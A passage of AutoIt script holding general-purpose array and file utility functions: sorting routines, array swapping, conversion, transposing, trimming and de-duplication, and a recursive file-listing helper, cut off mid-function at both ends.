While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
$l += 1
WEnd
While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
$r -= 1
WEnd
Else
While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
$l += 1
WEnd
While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
$r -= 1
WEnd
EndIf
If $l <= $r Then
For $i = 0 To $isubmax
$vtmp = $avarray[$l][$i]
$avarray[$l][$i] = $avarray[$r][$i]
$avarray[$r][$i] = $vtmp
Next
$l += 1
$r -= 1
EndIf
Until $l > $r
__arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
__arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
EndFunc
Func __arraydualpivotsort(ByRef $aarray, $ipivot_left, $ipivot_right, $bleftmost = True)
If $ipivot_left > $ipivot_right Then Return
Local $ilength = $ipivot_right - $ipivot_left + 1
Local $i, $j, $k, $iai, $iak, $ia1, $ia2, $ilast
If $ilength < 45 Then
If $bleftmost Then
$i = $ipivot_left
While $i < $ipivot_right
$j = $i
$iai = $aarray[$i + 1]
While $iai < $aarray[$j]
$aarray[$j + 1] = $aarray[$j]
$j -= 1
If $j + 1 = $ipivot_left Then ExitLoop
WEnd
$aarray[$j + 1] = $iai
$i += 1
WEnd
Else
While 1
If $ipivot_left >= $ipivot_right Then Return 1
$ipivot_left += 1
If $aarray[$ipivot_left] < $aarray[$ipivot_left - 1] Then ExitLoop
WEnd
While 1
$k = $ipivot_left
$ipivot_left += 1
If $ipivot_left > $ipivot_right Then ExitLoop
$ia1 = $aarray[$k]
$ia2 = $aarray[$ipivot_left]
If $ia1 < $ia2 Then
$ia2 = $ia1
$ia1 = $aarray[$ipivot_left]
EndIf
$k -= 1
While $ia1 < $aarray[$k]
$aarray[$k + 2] = $aarray[$k]
$k -= 1
WEnd
$aarray[$k + 2] = $ia1
While $ia2 < $aarray[$k]
$aarray[$k + 1] = $aarray[$k]
$k -= 1
WEnd
$aarray[$k + 1] = $ia2
$ipivot_left += 1
WEnd
$ilast = $aarray[$ipivot_right]
$ipivot_right -= 1
While $ilast < $aarray[$ipivot_right]
$aarray[$ipivot_right + 1] = $aarray[$ipivot_right]
$ipivot_right -= 1
WEnd
$aarray[$ipivot_right + 1] = $ilast
EndIf
Return 1
EndIf
Local $iseventh = BitShift($ilength, 3) + BitShift($ilength, 6) + 1
Local $ie1, $ie2, $ie3, $ie4, $ie5, $t
$ie3 = Ceiling(($ipivot_left + $ipivot_right) / 2)
$ie2 = $ie3 - $iseventh
$ie1 = $ie2 - $iseventh
$ie4 = $ie3 + $iseventh
$ie5 = $ie4 + $iseventh
If $aarray[$ie2] < $aarray[$ie1] Then
$t = $aarray[$ie2]
$aarray[$ie2] = $aarray[$ie1]
$aarray[$ie1] = $t
EndIf
If $aarray[$ie3] < $aarray[$ie2] Then
$t = $aarray[$ie3]
$aarray[$ie3] = $aarray[$ie2]
$aarray[$ie2] = $t
If $t < $aarray[$ie1] Then
$aarray[$ie2] = $aarray[$ie1]
$aarray[$ie1] = $t
EndIf
EndIf
If $aarray[$ie4] < $aarray[$ie3] Then
$t = $aarray[$ie4]
$aarray[$ie4] = $aarray[$ie3]
$aarray[$ie3] = $t
If $t < $aarray[$ie2] Then
$aarray[$ie3] = $aarray[$ie2]
$aarray[$ie2] = $t
If $t < $aarray[$ie1] Then
$aarray[$ie2] = $aarray[$ie1]
$aarray[$ie1] = $t
EndIf
EndIf
EndIf
If $aarray[$ie5] < $aarray[$ie4] Then
$t = $aarray[$ie5]
$aarray[$ie5] = $aarray[$ie4]
$aarray[$ie4] = $t
If $t < $aarray[$ie3] Then
$aarray[$ie4] = $aarray[$ie3]
$aarray[$ie3] = $t
If $t < $aarray[$ie2] Then
$aarray[$ie3] = $aarray[$ie2]
$aarray[$ie2] = $t
If $t < $aarray[$ie1] Then
$aarray[$ie2] = $aarray[$ie1]
$aarray[$ie1] = $t
EndIf
EndIf
EndIf
EndIf
Local $iless = $ipivot_left
Local $igreater = $ipivot_right
If (($aarray[$ie1] <> $aarray[$ie2]) AND ($aarray[$ie2] <> $aarray[$ie3]) AND ($aarray[$ie3] <> $aarray[$ie4]) AND ($aarray[$ie4] <> $aarray[$ie5])) Then
Local $ipivot_1 = $aarray[$ie2]
Local $ipivot_2 = $aarray[$ie4]
$aarray[$ie2] = $aarray[$ipivot_left]
$aarray[$ie4] = $aarray[$ipivot_right]
Do
$iless += 1
Until $aarray[$iless] >= $ipivot_1
Do
$igreater -= 1
Until $aarray[$igreater] <= $ipivot_2
$k = $iless
While $k <= $igreater
$iak = $aarray[$k]
If $iak < $ipivot_1 Then
$aarray[$k] = $aarray[$iless]
$aarray[$iless] = $iak
$iless += 1
ElseIf $iak > $ipivot_2 Then
While $aarray[$igreater] > $ipivot_2
$igreater -= 1
If $igreater + 1 = $k Then ExitLoop 2
WEnd
If $aarray[$igreater] < $ipivot_1 Then
$aarray[$k] = $aarray[$iless]
$aarray[$iless] = $aarray[$igreater]
$iless += 1
Else
$aarray[$k] = $aarray[$igreater]
EndIf
$aarray[$igreater] = $iak
$igreater -= 1
EndIf
$k += 1
WEnd
$aarray[$ipivot_left] = $aarray[$iless - 1]
$aarray[$iless - 1] = $ipivot_1
$aarray[$ipivot_right] = $aarray[$igreater + 1]
$aarray[$igreater + 1] = $ipivot_2
__arraydualpivotsort($aarray, $ipivot_left, $iless - 2, True)
__arraydualpivotsort($aarray, $igreater + 2, $ipivot_right, False)
If ($iless < $ie1) AND ($ie5 < $igreater) Then
While $aarray[$iless] = $ipivot_1
$iless += 1
WEnd
While $aarray[$igreater] = $ipivot_2
$igreater -= 1
WEnd
$k = $iless
While $k <= $igreater
$iak = $aarray[$k]
If $iak = $ipivot_1 Then
$aarray[$k] = $aarray[$iless]
$aarray[$iless] = $iak
$iless += 1
ElseIf $iak = $ipivot_2 Then
While $aarray[$igreater] = $ipivot_2
$igreater -= 1
If $igreater + 1 = $k Then ExitLoop 2
WEnd
If $aarray[$igreater] = $ipivot_1 Then
$aarray[$k] = $aarray[$iless]
$aarray[$iless] = $ipivot_1
$iless += 1
Else
$aarray[$k] = $aarray[$igreater]
EndIf
$aarray[$igreater] = $iak
$igreater -= 1
EndIf
$k += 1
WEnd
EndIf
__arraydualpivotsort($aarray, $iless, $igreater, False)
Else
Local $ipivot = $aarray[$ie3]
$k = $iless
While $k <= $igreater
If $aarray[$k] = $ipivot Then
$k += 1
ContinueLoop
EndIf
$iak = $aarray[$k]
If $iak < $ipivot Then
$aarray[$k] = $aarray[$iless]
$aarray[$iless] = $iak
$iless += 1
Else
While $aarray[$igreater] > $ipivot
$igreater -= 1
WEnd
If $aarray[$igreater] < $ipivot Then
$aarray[$k] = $aarray[$iless]
$aarray[$iless] = $aarray[$igreater]
$iless += 1
Else
$aarray[$k] = $ipivot
EndIf
$aarray[$igreater] = $iak
$igreater -= 1
EndIf
$k += 1
WEnd
__arraydualpivotsort($aarray, $ipivot_left, $iless - 1, True)
__arraydualpivotsort($aarray, $igreater + 1, $ipivot_right, False)
EndIf
EndFunc
Func _arrayswap(ByRef $avarray, $iindex_1, $iindex_2, $brow = False, $istart = 0, $iend = 0)
If $brow = Default Then $brow = False
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
Local $idim_2 = UBound($avarray, $ubound_columns) - 1
If $istart < 0 OR $iend < 0 Then Return SetError(4, 0, -1)
If $istart > $iend Then Return SetError(5, 0, -1)
If $brow Then
If $iindex_1 < 0 OR $iindex_1 > $idim_2 Then Return SetError(4, 0, -1)
If $iend = 0 Then $iend = $idim_1
If $istart > $idim_2 OR $iend > $idim_2 Then Return SetError(4, 0, -1)
Else
If $iindex_1 < 0 OR $iindex_1 > $idim_1 Then Return SetError(4, 0, -1)
If $iend = 0 Then $iend = $idim_2
If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(4, 0, -1)
EndIf
Local $vtmp
Switch UBound($avarray, $ubound_dimensions)
Case 1
$vtmp = $avarray[$iindex_1]
$avarray[$iindex_1] = $avarray[$iindex_2]
$avarray[$iindex_2] = $vtmp
Case 2
If $brow Then
For $j = $istart To $iend
$vtmp = $avarray[$j][$iindex_1]
$avarray[$j][$iindex_1] = $avarray[$j][$iindex_2]
$avarray[$j][$iindex_2] = $vtmp
Next
Else
For $j = $istart To $iend
$vtmp = $avarray[$iindex_1][$j]
$avarray[$iindex_1][$j] = $avarray[$iindex_2][$j]
$avarray[$iindex_2][$j] = $vtmp
Next
EndIf
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return 1
EndFunc
Func _arraytoclip(Const ByRef $avarray, $sdelim_item = "|", $istart_row = 0, $iend_row = 0, $sdelim_row = @CRLF, $istart_col = 0, $iend_col = 0)
Local $sresult = _arraytostring($avarray, $sdelim_item, $istart_row, $iend_row, $sdelim_row, $istart_col, $iend_col)
If @error Then Return SetError(@error, 0, 0)
If ClipPut($sresult) Then Return 1
Return SetError(-1, 0, 0)
EndFunc
Func _arraytostring(Const ByRef $avarray, $sdelim_item = "|", $istart_row = 0, $iend_row = 0, $sdelim_row = @CRLF, $istart_col = 0, $iend_col = 0)
If $sdelim_item = Default Then $sdelim_item = "|"
If $sdelim_row = Default Then $sdelim_row = @CRLF
If $istart_row = Default Then $istart_row = 0
If $iend_row = Default Then $iend_row = 0
If $istart_col = Default Then $istart_col = 0
If $iend_col = Default Then $iend_col = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
If $iend_row = 0 Then $iend_row = $idim_1
If $istart_row < 0 OR $iend_row < 0 Then Return SetError(3, 0, -1)
If $istart_row > $idim_1 OR $iend_row > $idim_1 Then Return SetError(3, 0, "")
If $istart_row > $iend_row Then Return SetError(4, 0, -1)
Local $sret = ""
Switch UBound($avarray, $ubound_dimensions)
Case 1
For $i = $istart_row To $iend_row
$sret &= $avarray[$i] & $sdelim_item
Next
Return StringTrimRight($sret, StringLen($sdelim_item))
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns) - 1
If $iend_col = 0 Then $iend_col = $idim_2
If $istart_col < 0 OR $iend_col < 0 Then Return SetError(5, 0, -1)
If $istart_col > $idim_2 OR $iend_col > $idim_2 Then Return SetError(5, 0, -1)
If $istart_col > $iend_col Then Return SetError(6, 0, -1)
For $i = $istart_row To $iend_row
For $j = $istart_col To $iend_col
$sret &= $avarray[$i][$j] & $sdelim_item
Next
$sret = StringTrimRight($sret, StringLen($sdelim_item)) & $sdelim_row
Next
Return StringTrimRight($sret, StringLen($sdelim_row))
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return 1
EndFunc
Func _arraytranspose(ByRef $avarray)
Switch UBound($avarray, 0)
Case 0
Return SetError(2, 0, 0)
Case 1
Local $atemp[1][UBound($avarray)]
For $i = 0 To UBound($avarray) - 1
$atemp[0][$i] = $avarray[$i]
Next
$avarray = $atemp
Return 1
Case 2
Local $velement, $idim_1 = UBound($avarray, 1), $idim_2 = UBound($avarray, 2), $idim_max = ($idim_1 > $idim_2) ? $idim_1 : $idim_2
If $idim_max <= 4096 Then
ReDim $avarray[$idim_max][$idim_max]
For $i = 0 To $idim_max - 2
For $j = $i + 1 To $idim_max - 1
$velement = $avarray[$i][$j]
$avarray[$i][$j] = $avarray[$j][$i]
$avarray[$j][$i] = $velement
Next
Next
If $idim_1 = 1 Then
Local $atemp[$idim_2]
For $i = 0 To $idim_2 - 1
$atemp[$i] = $avarray[$i][0]
Next
$avarray = $atemp
Else
ReDim $avarray[$idim_2][$idim_1]
EndIf
Else
Local $atemp[$idim_2][$idim_1]
For $i = 0 To $idim_1 - 1
For $j = 0 To $idim_2 - 1
$atemp[$j][$i] = $avarray[$i][$j]
Next
Next
ReDim $avarray[$idim_2][$idim_1]
$avarray = $atemp
EndIf
Return 1
Case Else
Return SetError(1, 0, 0)
EndSwitch
EndFunc
Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0, $isubitem = 0)
If $idirection = Default Then $idirection = 0
If $istart = Default Then $istart = 0
If $iend = Default Then $iend = 0
If $isubitem = Default Then $isubitem = 0
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
Local $idim_1 = UBound($avarray, $ubound_rows) - 1
If $iend = 0 Then $iend = $idim_1
If $istart > $iend Then Return SetError(3, 0, -1)
If $istart < 0 OR $iend < 0 Then Return SetError(3, 0, -1)
If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1)
If $istart > $iend Then Return SetError(4, 0, -1)
Switch UBound($avarray, $ubound_dimensions)
Case 1
If $idirection Then
For $i = $istart To $iend
$avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
Next
Else
For $i = $istart To $iend
$avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
Next
EndIf
Case 2
Local $idim_2 = UBound($avarray, $ubound_columns) - 1
If $isubitem < 0 OR $isubitem > $idim_2 Then Return SetError(5, 0, -1)
If $idirection Then
For $i = $istart To $iend
$avarray[$i][$isubitem] = StringTrimRight($avarray[$i][$isubitem], $itrimnum)
Next
Else
For $i = $istart To $iend
$avarray[$i][$isubitem] = StringTrimLeft($avarray[$i][$isubitem], $itrimnum)
Next
EndIf
Case Else
Return SetError(2, 0, 0)
EndSwitch
Return 1
EndFunc
Func _arrayunique(Const ByRef $aarray, $icolumn = 0, $ibase = 0, $icase = 0, $iflags = 1)
If $icolumn = Default Then $icolumn = 0
If $ibase = Default Then $ibase = 0
If $icase = Default Then $icase = 0
If $iflags = Default Then $iflags = 1
If UBound($aarray, $ubound_rows) = 0 Then Return SetError(1, 0, 0)
If $ibase < 0 OR $ibase > 1 OR (NOT IsInt($ibase)) Then Return SetError(3, 0, 0)
If $icase < 0 OR $icase > 1 OR (NOT IsInt($icase)) Then Return SetError(3, 0, 0)
If $iflags < 0 OR $iflags > 1 OR (NOT IsInt($iflags)) Then Return SetError(4, 0, 0)
Local $idims = UBound($aarray, $ubound_dimensions), $inumcolumns = UBound($aarray, $ubound_columns)
If $idims > 2 Then Return SetError(2, 0, 0)
If $icolumn < 0 OR ($inumcolumns = 0 AND $icolumn > 0) OR ($inumcolumns > 0 AND $icolumn >= $inumcolumns) Then Return SetError(5, 0, 0)
Local $odictionary = ObjCreate("Scripting.Dictionary")
$odictionary.comparemode = Number(NOT $icase)
Local $velem = 0
For $i = $ibase To UBound($aarray) - 1
If $idims = 1 Then
$velem = $aarray[$i]
Else
$velem = $aarray[$i][$icolumn]
EndIf
$odictionary.item($velem)
Next
If BitAND($iflags, 1) = 1 Then
Local $atemp = $odictionary.keys()
_arrayinsert($atemp, 0, $odictionary.count)
Return $atemp
Else
Return $odictionary.keys()
EndIf
EndFunc
Func _array1dtohistogram($aarray, $isizing = 100)
If UBound($aarray, 0) > 1 Then Return SetError(1, 0, "")
$isizing = $isizing * 8
Local $t, $n, $imin = 0, $imax = 0, $ioffset = 0
For $i = 0 To UBound($aarray) - 1
$t = $aarray[$i]
$t = IsNumber($t) ? Round($t) : 0
If $t < $imin Then $imin = $t
If $t > $imax Then $imax = $t
Next
Local $irange = Int(Round(($imax - $imin) / 8)) * 8
Local $ispaceratio = 4
For $i = 0 To UBound($aarray) - 1
$t = $aarray[$i]
If $t Then
$n = Abs(Round(($isizing * $t) / $irange) / 8)
$aarray[$i] = ""
If $t > 0 Then
If $imin Then
$ioffset = Int(Abs(Round(($isizing * $imin) / $irange) / 8) / 8 * $ispaceratio)
$aarray[$i] = __array_stringrepeat(ChrW(32), $ioffset)
EndIf
Else
If $imin <> $t Then
$ioffset = Int(Abs(Round(($isizing * ($t - $imin)) / $irange) / 8) / 8 * $ispaceratio)
$aarray[$i] = __array_stringrepeat(ChrW(32), $ioffset)
EndIf
EndIf
$aarray[$i] &= __array_stringrepeat(ChrW(9608), Int($n / 8))
$n = Mod($n, 8)
If $n > 0 Then $aarray[$i] &= ChrW(9608 + 8 - $n)
$aarray[$i] &= " " & $t
Else
$aarray[$i] = ""
EndIf
Next
Return $aarray
EndFunc
Func __array_stringrepeat($sstring, $irepeatcount)
$irepeatcount = Int($irepeatcount)
If StringLen($sstring) < 1 OR $irepeatcount <= 0 Then Return SetError(1, 0, "")
Local $sresult = ""
While $irepeatcount > 1
If BitAND($irepeatcount, 1) Then $sresult &= $sstring
$sstring &= $sstring
$irepeatcount = BitShift($irepeatcount, 1)
WEnd
Return $sstring & $sresult
EndFunc
Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount)
If $istart == $isize - 1 Then
For $i = 0 To $isize - 1
$aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
Next
If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
$icount += 1
Else
Local $itemp
For $i = $istart To $isize - 1
$itemp = $aidx[$i]
$aidx[$i] = $aidx[$istart]
$aidx[$istart] = $itemp
__array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount)
$aidx[$istart] = $aidx[$i]
$aidx[$i] = $itemp
Next
EndIf
EndFunc
Func __array_combinations($in, $ir)
Local $i_total = 1
For $i = $ir To 1 Step -1
$i_total *= ($in / $i)
$in -= 1
Next
Return Round($i_total)
EndFunc
Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx)
If $ileft == $itotal Then
$ileft -= 1
Return
EndIf
Local $i = $ir - 1
While $aidx[$i] == $in - $ir + $i
$i -= 1
WEnd
$aidx[$i] += 1
For $j = $i + 1 To $ir - 1
$aidx[$j] = $aidx[$i] + $j - $i
Next
$ileft -= 1
EndFunc
Func _filecountlines($sfilepath)
Local $hfileopen = FileOpen($sfilepath, $fo_read)
If $hfileopen = -1 Then Return SetError(1, 0, 0)
Local $sfileread = StringStripWS(FileRead($hfileopen), $str_striptrailing)
FileClose($hfileopen)
Return UBound(StringRegExp($sfileread, "\R", $str_regexparrayglobalmatch)) + 1 - Int($sfileread = "")
EndFunc
Func _filecreate($sfilepath)
Local $hfileopen = FileOpen($sfilepath, BitOR($fo_overwrite, $fo_createpath))
If $hfileopen = -1 Then Return SetError(1, 0, 0)
Local $ifilewrite = FileWrite($hfileopen, "")
FileClose($hfileopen)
If NOT $ifilewrite Then Return SetError(2, 0, 0)
Return 1
EndFunc
Func _filelisttoarray($sfilepath, $sfilter = "*", $iflag = 0, $breturnpath = False)
Local $sdelimiter = "|", $sfilelist = "", $sfilename = "", $sfullpath = ""
$sfilepath = StringRegExpReplace($sfilepath, "[\\/]+$", "") & "\"
If $iflag = Default Then $iflag = 0
If $breturnpath Then $sfullpath = $sfilepath
If $sfilter = Default Then $sfilter = "*"
If NOT FileExists($sfilepath) Then Return SetError(1, 0, 0)
If StringRegExp($sfilter, "[\\/:><\|]|(?s)^\s*$") Then Return SetError(2, 0, 0)
If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 0, 0)
Local $hsearch = FileFindFirstFile($sfilepath & $sfilter)
If @error Then Return SetError(4, 0, 0)
While 1
$sfilename = FileFindNextFile($hsearch)
If @error Then ExitLoop
If ($iflag + @extended = 2) Then ContinueLoop
$sfilelist &= $sdelimiter & $sfullpath & $sfilename
WEnd
FileClose($hsearch)
If $sfilelist = "" Then Return SetError(4, 0, 0)
Return StringSplit(StringTrimLeft($sfilelist, 1), $sdelimiter)
EndFunc
Func _filelisttoarrayrec($sinitialpath, $smask = "*", $ireturn = 0, $irecur = 0, $isort = 0, $ireturnpath = 1)
Local $asreturnlist[100] = [0], $asfilematchlist[100] = [0], $asrootfilematchlist[100] = [0], $asfoldermatchlist[100] = [0], $asfoldersearchlist[100] = [1]
Local $sinclude_list = "*", $sexclude_list, $sexclude_list_folder, $sinclude_file_mask = ".+", $sexclude_file_mask = ":", $sinclude_folder_mask = ".+", $sexclude_folder_mask = ":"
Local $sfolderslash = "", $imaxlevel, $hsearch, $bfolder, $sretpath = "", $scurrentpath, $sname, $iattribs, $ihide_hs = 0, $ihide_link = 0, $blongpath = False
Local $asfolderfilesectionlist[100][2] = [[0, 0]], $sfoldertofind, $ifilesectionstartindex, $ifilesectionendindex
If StringLeft($sinitialpath, 4) == "\\?\" Then
$blongpath = True
EndIf
If NOT FileExists($sinitialpath) Then Return SetError(1, 1, "")
If StringRight($sinitialpath, 1) = "\" Then
$sfolderslash = "\"
Else
$sinitialpath = $sinitialpath & "\"
EndIf
$asfoldersearchlist[1] = $sinitialpath
If $smask = Default Then $smask = "*"
If $ireturn = Default Then $ireturn = 0
If $irecur = Default Then $irecur = 0
If $isort = Default Then $isort = 0
If $ireturnpath = Default Then $ireturnpath = 1
If BitAND($ireturn, 4) Then
$ihide_hs += 2
$ireturn -= 4
EndIf
If BitAND($ireturn, 8) Then
$ihide_hs += 4
$ireturn -= 8
EndIf
If BitAND($ireturn, 16) Then
$ihide_link = 1024
$ireturn -= 16
EndIf
If $irecur > 1 OR NOT IsInt($irecur) Then Return SetError(1, 6, "")
If $irecur < 0 Then
StringReplace($sinitialpath, "\", "", 0, $str_nocasesensebasic)
$imaxlevel = @extended - $irecur
EndIf
Local $amasksplit = StringSplit($smask, "|")
Switch $amasksplit[0]
Case 3
$sexclude_list_folder = $amasksplit[3]
ContinueCase
Case 2
$sexclude_list = $amasksplit[2]
ContinueCase
Case 1
$sinclude_list = $amasksplit[1]
EndSwitch
If $sinclude_list <> "*" Then
If NOT __fltar_listtomask($sinclude_file_mask, $sinclude_list) Then Return SetError(1, 2, "")
EndIf
Switch $ireturn
Case 0
Switch $irecur
Case 0
$sinclude_folder_mask = $sinclude_file_mask
EndSwitch
Case 2
$sinclude_folder_mask = $sinclude_file_mask
EndSwitch
If $sexclude_list <> "" Then
If NOT __fltar_listtomask($sexclude_file_mask, $sexclude_list) Then Return SetError(1, 3, "")
EndIf
If $irecur Then
If $sexclude_list_folder Then
If NOT __fltar_listtomask($sexclude_folder_mask, $sexclude_list_folder) Then Return SetError(1, 4, "")
EndIf
If $ireturn = 2 Then
$sexclude_folder_mask = $sexclude_file_mask
EndIf
Else
$sexclude_folder_mask = $sexclude_file_mask
EndIf
If NOT ($ireturn = 0 OR $ireturn = 1 OR $ireturn = 2) Then Return SetError(1, 5, "")
If NOT ($isort = 0 OR $isort = 1 OR $isort = 2) Then Return SetError(1, 7, "")
If NOT ($ireturnpath = 0 OR $ireturnpath = 1 OR $ireturnpath = 2) Then Return SetError(1, 8, "")
If $ihide_hs OR $ihide_link Then
Local $tfile_data = DllStructCreate("struct;align 4;dword FileAttributes;uint64 CreationTime;uint64 LastAccessTime;uint64 LastWriteTime;" & "dword FileSizeHigh;dword FileSizeLow;dword Reserved0;dword Reserved1;wchar FileName[260];wchar AlternateFileName[14];endstruct")
Local $pfile_data = DllStructGetPtr($tfile_data), $hdll = DllOpen("kernel32.dll"), $adll_ret
EndIf
While $asfoldersearchlist[0] > 0
$scurrentpath = $asfoldersearchlist[$asfoldersearchlist[0]]
$asfoldersearchlist[0] -= 1
Switch $ireturnpath
Case 1
$sretpath = StringReplace($scurrentpath, $sinitialpath, "")
Case 2
If $blongpath Then
$sretpath = StringTrimLeft($scurrentpath, 4)
Else
$sretpath = $scurrentpath
EndIf
EndSwitch
If $ihide_hs OR $ihide_link Then
$adll_ret = DllCall($hdll, "ptr", "FindFirstFileW", "wstr", $scurrentpath & "*", "ptr", $pfile_data)
If @error OR NOT $adll_ret[0] Then
ContinueLoop
EndIf
$hsearch = $adll_ret[0]
Else
$hsearch = FileFindFirstFile($scurrentpath & "*")
If $hsearch = -1 Then
ContinueLoop
EndIf
EndIf
If $ireturn = 0 AND $isort AND $ireturnpath Then
__fltar_addtolist($asfolderfilesectionlist, $sretpath, $asfilematchlist[0] + 1)
EndIf
While 1
If $ihide_hs OR $ihide_link Then
$adll_ret = DllCall($hdll, "int", "FindNextFileW", "ptr", $hsearch, "ptr", $pfile_data)
If @error OR NOT $adll_ret[0] Then
ExitLoop
EndIf
$sname = DllStructGetData($tfile_data, "FileName")
If $sname = ".." Then
ContinueLoop
EndIf
$iattribs = DllStructGetData($tfile_data, "FileAttributes")
If $ihide_hs AND BitAND($iattribs, $ihide_hs) Then
ContinueLoop
EndIf
If $ihide_link AND BitAND($iattribs, $ihide_link) Then
ContinueLoop
EndIf
$bfolder = False
If BitAND($iattribs, 16) Then
$bfolder = True
EndIf
Else
$sname = FileFindNextFile($hsearch)
If @error Then
ExitLoop
EndIf
$bfolder = @extended
EndIf
If $bfolder Then
Select
Case $irecur < 0
StringReplace($scurrentpath, "\", "", 0, $str_nocasesensebasic)
If @extended < $imaxlevel Then
ContinueCase
EndIf
Case $irecur = 1
If NOT StringRegExp($sname, $sexclude_folder_mask) Then
__fltar_addtolist($asfoldersearchlist, $scurrentpath & $sname & "\")
EndIf
EndSelect
EndIf
If $isort Then
If $bfolder Then
If StringRegExp($sname, $sinclude_folder_mask) AND NOT StringRegExp($sname, $sexclude_folder_mask) Then
__fltar_addtolist($asfoldermatchlist, $sretpath & $sname & $sfolderslash)
EndIf
Else
If StringRegExp($sname, $sinclude_file_mask) AND NOT StringRegExp($sname, $sexclude_file_mask) Then
If $scurrentpath = $sinitialpath Then
__fltar_addtolist($asrootfilematchlist, $sretpath & $sname)
Else
__fltar_addtolist($asfilematchlist, $sretpath & $sname)
EndIf
EndIf
EndIf
Else
If $bfolder Then
If $ireturn <> 1 AND StringRegExp($sname, $sinclude_folder_mask) AND NOT StringRegExp($sname, $sexclude_folder_mask) Then
__fltar_addtolist($asreturnlist, $sretpath & $sname & $sfolderslash)
EndIf
Else
If $ireturn <> 2 AND StringRegExp($sname, $sinclude_file_mask) AND NOT StringRegExp($sname, $sexclude_file_mask) Then
__fltar_addtolist($asreturnlist, $sretpath & $sname)
EndIf
EndIf
EndIf
WEnd
FileClose($hsearch)
WEnd
If $ihide_hs Then
DllClose($hdll)
EndIf
If $isort Then
Switch $ireturn
Case 2
If $asfoldermatchlist[0] = 0 Then Return SetError(1, 9, "")
ReDim $asfoldermatchlist[$asfoldermatchlist[0] + 1]
$asreturnlist = $asfoldermatchlist
__arraydualpivotsort($asreturnlist, 1, $asreturnlist[0])
Case 1
If $asrootfilematchlist[0] = 0 AND $asfilematchlist[0] = 0 Then Return SetError(1, 9, "")
If $ireturnpath = 0 Then
__fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist)
__arraydualpivotsort($asreturnlist, 1, $asreturnlist[0])
Else
__fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist, 1)
EndIf
Case 0
If $asrootfilematchlist[0] = 0 AND $asfoldermatchlist[0] = 0 Then Return SetError(1, 9, "")
If $ireturnpath = 0 Then
__fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist)
$asreturnlist[0] += $asfoldermatchlist[0]
ReDim $asfoldermatchlist[$asfoldermatchlist[0] + 1]
_arrayconcatenate($asreturnlist, $asfoldermatchlist, 1)
__arraydualpivotsort($asreturnlist, 1, $asreturnlist[0])
Else
Local $asreturnlist[$asfilematchlist[0] + $asrootfilematchlist[0] + $asfoldermatchlist[0] + 1]
$asreturnlist[0] = $asfilematchlist[0] + $asrootfilematchlist[0] + $asfoldermatchlist[0]
__arraydualpivotsort($asrootfilematchlist, 1, $asrootfilematchlist[0])
For $i = 1 To $asrootfilematchlist[0]
$asreturnlist[$i] = $asrootfilematchlist[$i]
Next
Local $inextinsertionindex = $asrootfilematchlist[0] + 1
__arraydualpivotsort($asfoldermatchlist, 1, $asfoldermatchlist[0])
For $i = 1 To $asfoldermatchlist[0]
$asreturnlist[$inextinsertionindex] = $asfoldermatchlist[$i]
$inextinsertionindex += 1
If $sfolderslash Then
$sfoldertofind = $asfoldermatchlist[$i]
Else
$sfoldertofind = $asfoldermatchlist[$i] & "\"
EndIf
For $j = 1 To $asfolderfilesectionlist[0][0]
If $sfoldertofind = $asfolderfilesectionlist[$j][0] Then
$ifilesectionstartindex = $asfolderfilesectionlist[$j][1]
If $j = $asfolderfilesectionlist[0][0] Then
$ifilesectionendindex = $asfilematchlist[0]
Else
$ifilesectionendindex = $asfolderfilesectionlist[$j + 1][1] - 1
EndIf
If $isort = 1 Then
__arraydualpivotsort($asfilematchlist, $ifilesectionstartindex, $ifilesectionendindex)
EndIf
For $k = $ifilesectionstartindex To $ifilesectionendindex
$asreturnlist[$inextinsertionindex] = $asfilematchlist[$k]
$inextinsertionindex += 1
Next
ExitLoop
EndIf
Next
Next
EndIf
EndSwitch
Else
If $asreturnlist[0] = 0 Then Return SetError(1, 9, "")
ReDim $asreturnlist[$asreturnlist[0] + 1]
EndIf
Return $asreturnlist
EndFunc
Func __fltar_addfilelists(ByRef $astarget, $assource_1, $assource_2, $isort = 0)
ReDim $assource_1[$assource_1[0] + 1]
If $isort = 1 Then __arraydualpivotsort($assource_1, 1, $assource_1[0])
$astarget = $assource_1
$astarget[0] += $assource_2[0]
ReDim $assource_2[$assource_2[0] + 1]
If $isort = 1 Then __arraydualpivotsort($assource_2, 1, $assource_2[0])
_arrayconcatenate($astarget, $assource_2, 1)
EndFunc
Func __fltar_addtolist(ByRef $alist, $vvalue_0, $vvalue_1 = -1)
If $vvalue_1 = -1 Then
$alist[0] += 1
